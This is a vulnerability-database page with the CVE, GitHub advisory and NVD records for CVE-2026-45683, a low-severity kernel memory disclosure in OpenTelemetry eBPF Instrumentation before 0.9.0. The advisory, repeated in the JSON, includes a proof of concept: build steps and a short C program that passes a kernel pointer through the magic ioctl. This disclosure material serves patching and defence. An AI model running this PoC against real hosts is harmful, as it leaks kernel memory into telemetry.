Vulnerability-Lookup

CVE-2026-45683 (GCVE-0-2026-45683)

Vulnerability from cvelistv5 – Published: 2026-06-02 15:25 – Updated: 2026-06-02 17:48

Title

OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure

Summary

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry. This issue has been patched in version 0.9.0.

Severity ?

3.8 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-127 - Buffer Under-read
CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor

Assigner

GitHub_M

References

URL

Tags

	https://github.com/open-telemetry/opentelemetry-e…	x_refsource_CONFIRM
	https://github.com/open-telemetry/opentelemetry-e…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	open-telemetry	opentelemetry-ebpf-instrumentation	Affected: < 0.9.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45683",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-02T17:47:47.481011Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-02T17:48:08.218Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "opentelemetry-ebpf-instrumentation",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry. This issue has been patched in version 0.9.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 3.8,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-127",
              "description": "CWE-127: Buffer Under-read",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-200",
              "description": "CWE-200: Exposure of Sensitive Information to an Unauthorized Actor",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-02T15:25:11.881Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
        },
        {
          "name": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
        }
      ],
      "source": {
        "advisory": "GHSA-fjq3-ffvr-vm46",
        "discovery": "UNKNOWN"
      },
      "title": "OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45683",
    "datePublished": "2026-06-02T15:25:11.881Z",
    "dateReserved": "2026-05-12T21:59:25.667Z",
    "dateUpdated": "2026-06-02T17:48:08.218Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GHSA-FJQ3-FFVR-VM46

Vulnerability from github – Published: 2026-05-18 20:12 – Updated: 2026-06-09 10:58

Summary

OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure

Details

Summary

The Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.

Details

The vulnerable path is in bpf/generictracer/java_tls.c. The kprobe hooks do_vfs_ioctl, filters on fd == 0 and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using bpf_probe_read, including:

the operation byte from arg
connection metadata from arg + 1
the payload length from arg + 1 + sizeof(connection_info_t)

If len > 0, it computes buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32) and passes that pointer into handle_buf_with_connection.

The next stage, bpf/generictracer/k_tracer_defs.h, uses bpf_probe_read(args->small_buf, MIN_HTTP2_SIZE, (void *)args->u_buf); on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from u_buf and emits the bytes through bpf_ringbuf_output in bpf/generictracer/protocol_http.h.

Because the ioctl pointer originates in user space, the probe should be using bpf_probe_read_user with strict length validation. Using bpf_probe_read instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.

PoC

A complete lab reproduction requires:

a vulnerable build of OBI with Java TLS instrumentation enabled
a host capable of loading the BPF program
a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer

Suggested reproduction steps:

git checkout v0.0.0-rc.1+build
make build
sudo ./bin/obi

Then run a local helper that issues the matching ioctl command against fd=0 and supplies a crafted pointer.

// save as /tmp/ioctl_kernel_ptr.c
#include <stdio.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define JAVA_TLS_MAGIC 0x0b10b1

int main(void) {
  void *ptr = (void *)0xffff888000000000ULL;
  long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);
  printf("ioctl rc=%ld\n", rc);
  return 0;
}

Compile and run:

cc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c
/tmp/ioctl_kernel_ptr

On a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.

Impact

This is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.

Severity ?

3.8 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-127",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T20:12:04Z",
    "nvd_published_at": "2026-06-02T16:16:43Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe Java TLS ioctl probe reads user-controlled ioctl pointers with `bpf_probe_read` instead of `bpf_probe_read_user`. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry.\n\n### Details\n\nThe vulnerable path is in [bpf/generictracer/java_tls.c](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/java_tls.c#L66-L163). The kprobe hooks `do_vfs_ioctl`, filters on `fd == 0` and the Java TLS magic command, and then treats the third ioctl argument as a structured buffer. It reads fields from that pointer using `bpf_probe_read`, including:\n\n- the operation byte from `arg`\n- connection metadata from `arg + 1`\n- the payload length from `arg + 1 + sizeof(connection_info_t)`\n\nIf `len \u003e 0`, it computes `buf = arg + 1 + sizeof(connection_info_t) + sizeof(u32)` and passes that pointer into [`handle_buf_with_connection`](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L67).\n\nThe next stage, [bpf/generictracer/k_tracer_defs.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L62), uses [`bpf_probe_read(args-\u003esmall_buf, MIN_HTTP2_SIZE, (void *)args-\u003eu_buf);`](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/k_tracer_defs.h#L62) on the supplied pointer and tail-calls deeper protocol logic. The HTTP protocol path then reads from `u_buf` and emits the bytes through `bpf_ringbuf_output` in [bpf/generictracer/protocol_http.h](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/360521f411213566a3b557a1f0c093e6cd68a4de/bpf/generictracer/protocol_http.h#L477).\n\nBecause the ioctl pointer originates in user space, the probe should be using `bpf_probe_read_user` with strict length validation. Using `bpf_probe_read` instead makes it possible for an instrumented process to supply a kernel pointer and exfiltrate kernel-resident bytes into telemetry.\n\n### PoC\n\nA complete lab reproduction requires:\n\n1. a vulnerable build of OBI with Java TLS instrumentation enabled\n2. a host capable of loading the BPF program\n3. a local process that issues the Java TLS magic ioctl with an attacker-controlled pointer\n\nSuggested reproduction steps:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\nsudo ./bin/obi\n```\n\nThen run a local helper that issues the matching ioctl command against `fd=0` and supplies a crafted pointer.\n\n```c\n// save as /tmp/ioctl_kernel_ptr.c\n#include \u003cstdio.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cunistd.h\u003e\n\n#define JAVA_TLS_MAGIC 0x0b10b1\n\nint main(void) {\n  void *ptr = (void *)0xffff888000000000ULL;\n  long rc = ioctl(0, JAVA_TLS_MAGIC, ptr);\n  printf(\"ioctl rc=%ld\\n\", rc);\n  return 0;\n}\n```\n\nCompile and run:\n\n```bash\ncc -O2 -o /tmp/ioctl_kernel_ptr /tmp/ioctl_kernel_ptr.c\n/tmp/ioctl_kernel_ptr\n```\n\nOn a vulnerable system, if the supplied pointer references readable kernel memory and the bytes satisfy the expected Java TLS structure enough to pass the early checks, OBI can read from that address and emit the resulting bytes into telemetry. The remaining local prerequisite is a host session with sufficient BPF capability to load and inspect the probe; the compile side of the reproduction is already satisfied here.\n\n### Impact\n\nThis is a local kernel memory disclosure primitive reachable from unprivileged instrumented processes. It affects deployments that enable Java TLS support. Successful exploitation can expose kernel memory contents to the privileged OBI agent and then to downstream telemetry systems.",
  "id": "GHSA-fjq3-ffvr-vm46",
  "modified": "2026-06-09T10:58:41Z",
  "published": "2026-05-18T20:12:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45683"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Java TLS ioctl kprobe allows kernel memory disclosure"
}

FKIE_CVE-2026-45683

Vulnerability from fkie_nvd - Published: 2026-06-02 16:16 - Updated: 2026-06-17 10:52

Severity ?

3.8 (Low) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0	Product, Release Notes
security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	opentelemetry	ebpf_instrumentation	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "opentelemetry-ebpf-instrumentation",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "72CC55EE-4DFB-417E-B148-642944DFC24F",
              "versionEndExcluding": "0.9.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Java TLS ioctl probe reads user-controlled ioctl pointers with bpf_probe_read instead of bpf_probe_read_user. An instrumented local process can therefore point OBI at kernel memory and cause that memory to be copied into telemetry. This issue has been patched in version 0.9.0."
    }
  ],
  "id": "CVE-2026-45683",
  "lastModified": "2026-06-17T10:52:28.153",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 3.8,
          "baseSeverity": "LOW",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.0,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45683",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-02T17:47:47.481011Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-02T16:16:43.047",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-fjq3-ffvr-vm46"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-127"
        },
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45683 (GCVE-0-2026-45683)

GHSA-FJQ3-FFVR-VM46

Summary

Details

PoC

Impact

FKIE_CVE-2026-45683

Tags

Sightings

Nomenclature